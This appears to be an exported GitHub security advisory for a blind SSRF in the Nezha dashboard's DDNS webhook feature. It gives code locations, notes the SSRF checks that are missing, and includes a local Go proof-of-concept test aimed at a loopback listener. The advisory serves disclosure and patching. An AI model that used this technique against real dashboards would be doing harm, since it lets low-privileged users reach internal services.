github.com/nezhahq/nezha
Affected
- introduced
0.20.0, fixed2.0.10(semver)
Fixed versions
2.0.10
Fix
- Fixed version
2.0.10go get github.com/nezhahq/[email protected]
Advisory
Also known as: CVE-2026-47268, GO-2026-5194
Nezha's authenticated DDNS webhook configuration allows blind SSRF from the dashboard host
Summary
An authenticated Nezha dashboard user can create or update a DDNS profile with provider webhook and configure an arbitrary webhook_url, HTTP method, request body, and headers. When DDNS is triggered for a server that uses that profile, the dashboard process sends the configured request with utils.HttpClient without the SSRF protections used by notification webhooks.
This allows a low-privileged authenticated user who controls an owned server/DDNS profile to make the dashboard host issue HTTP requests to loopback or internal network services. The response body is not returned to the attacker in the confirmed path, so this is a blind SSRF / internal state-changing request primitive.
Details
The DDNS API is available to authenticated users, not only administrators:
cmd/dashboard/controller/controller.go:137 registers GET /api/v1/ddns.cmd/dashboard/controller/controller.go:139 registers POST /api/v1/ddns.cmd/dashboard/controller/controller.go:140 registers PATCH /api/v1/ddns/:id.The create and update handlers copy attacker-controlled webhook fields directly from JSON request bodies into model.DDNSProfile:
cmd/dashboard/controller/ddns.go:47-74 accepts model.DDNSForm and stores WebhookURL, WebhookMethod, WebhookRequestType, WebhookRequestBody, and WebhookHeaders.cmd/dashboard/controller/ddns.go:112-145 updates the same fields after profile ownership is checked.model/ddns_api.go:11-15 exposes these fields as JSON input.model/ddns.go:28-33 stores these fields on the persisted profile.Users can attach owned DDNS profiles to owned servers, and DDNS updates are triggered in common server update and agent IP-reporting paths:
cmd/dashboard/controller/server.go:63-83 checks DDNS profile ownership, then stores EnableDDNS, DDNSProfiles, and OverrideDDNSDomains on an owned server.service/singleton/server.go:44-58 calls UpdateDDNS when a server with DDNS enabled is updated.service/rpc/nezha.go:247-279 calls UpdateDDNS when an authenticated agent reports a changed IP.The DDNS provider dispatcher instantiates the webhook provider when Provider == "webhook":
service/singleton/ddns.go:58-95, especially service/singleton/ddns.go:79-81.The sink is the DDNS webhook provider:
pkg/ddns/webhook/webhook.go:49-65 prepares and sends the HTTP request with utils.HttpClient.Do(req).pkg/ddns/webhook/webhook.go:85-100 formats and applies attacker-controlled headers.pkg/ddns/webhook/webhook.go:91-92 creates the request with the configured method and URL.pkg/ddns/webhook/webhook.go:117-134 parses the configured URL and only formats query parameters; it does not restrict scheme, host, IP range, or redirects.pkg/ddns/webhook/webhook.go:137-158 builds attacker-controlled request bodies for POST/PATCH/PUT.The project already contains SSRF defenses for notification webhooks, showing the expected mitigation pattern is absent from the DDNS webhook path:
model/notification.go:34-58 defines blocked private/reserved CIDRs.model/notification.go:193-221 creates a notification HTTP client that resolves and pins a validated IP and disables redirects.model/notification.go:229-263 only allows http/https, requires a hostname, resolves all addresses, and rejects disallowed IPs.model/notification.go:265-276 rejects blocked ranges and non-global-unicast targets.Equivalent validation was not found in pkg/ddns/webhook/webhook.go.
Safe local PoC
Environment:
https://github.com/nezhahq/nezha.git05e5da2535197fc223b79601d50eeea362dcf853v2.0.9github.com/nezhahq/nezhago1.26.3 linux/amd64A temporary same-package test was created and removed automatically after execution. It used a local httptest listener as the internal service and a local UDP DNS server that returned an SOA for example.com.. The test then executed the normal DDNS update pipeline with a webhook DDNS profile pointing at the loopback HTTP listener.
Command run:
tmp="pkg/ddns/ddns_ssrf_local_poc_test.go"; trap 'rm -f "$tmp"' EXIT; cat > "$tmp" <<'EOF'
package ddns
import (
"context"
"io"
"net"
"net/http"
"net/http/httptest"
"testing"
"github.com/miekg/dns"
"github.com/nezhahq/nezha/model"
"github.com/nezhahq/nezha/pkg/ddns/webhook"
)
func TestLocalPoCDDNSUpdatePipelineReachesLoopback(t *testing.T) {
hit := make(chan string, 1)
httpSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
body, _ := io.ReadAll(r.Body)
hit <- r.Method + " " + r.URL.Path + " " + r.Header.Get("X-Proof") + " " + string(body)
w.WriteHeader(http.StatusNoContent)
}))
defer httpSrv.Close()
dnsPacketConn, err := net.ListenPacket("udp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
dnsSrv := &dns.Server{PacketConn: dnsPacketConn, Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
msg := new(dns.Msg)
msg.SetReply(r)
if len(r.Question) > 0 && r.Question[0].Qtype == dns.TypeSOA {
msg.Answer = append(msg.Answer, &dns.SOA{
Hdr: dns.RR_Header{Name: "example.com.", Rrtype: dns.TypeSOA, Class: dns.ClassINET, Ttl: 60},
Ns: "ns.example.com.",
Mbox: "hostmaster.example.com.",
Serial: 1,
Refresh: 60,
Retry: 60,
Expire: 60,
Minttl: 60,
})
}
_ = w.WriteMsg(msg)
})}
go func() { _ = dnsSrv.ActivateAndServe() }()
defer dnsSrv.Shutdown()
enableIPv4 := true
enableIPv6 := false
profile := &model.DDNSProfile{
EnableIPv4: &enableIPv4,
EnableIPv6: &enableIPv6,
MaxRetries: 1,
Domains: []string{"host.example.com"},
Provider: model.ProviderWebHook,
WebhookURL: httpSrv.URL + "/internal",
WebhookMethod: 2,
WebhookRequestType: 1,
WebhookRequestBody: `{"ip":"#ip#","domain":"#domain#","type":"#type#"}`,
WebhookHeaders: `{"X-Proof":"nezha-ddns-pipeline-ssrf"}`,
}
provider := &Provider{
DDNSProfile: profile,
IPAddrs: &model.IP{IPv4Addr: "203.0.113.10"},
Setter: &webhook.Provider{DDNSProfile: profile},
}
ctx := context.WithValue(context.Background(), DNSServerKey{}, []string{dnsPacketConn.LocalAddr().String()})
if err := provider.updateDomain(ctx, "host.example.com"); err != nil {
t.Fatalf("updateDomain returned error: %v", err)
}
select {
case got := <-hit:
t.Logf("observed loopback request through DDNS update pipeline: %s", got)
default:
t.Fatalf("expected loopback listener to receive DDNS webhook request")
}
}
EOF
go test ./pkg/ddns -run TestLocalPoCDDNSUpdatePipelineReachesLoopback -vMedium Basis: The source's own band: MODERATE
0.20.0, fixed 2.0.10 (semver)2.0.10
2.0.10go get github.com/nezhahq/[email protected]0.20.0 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0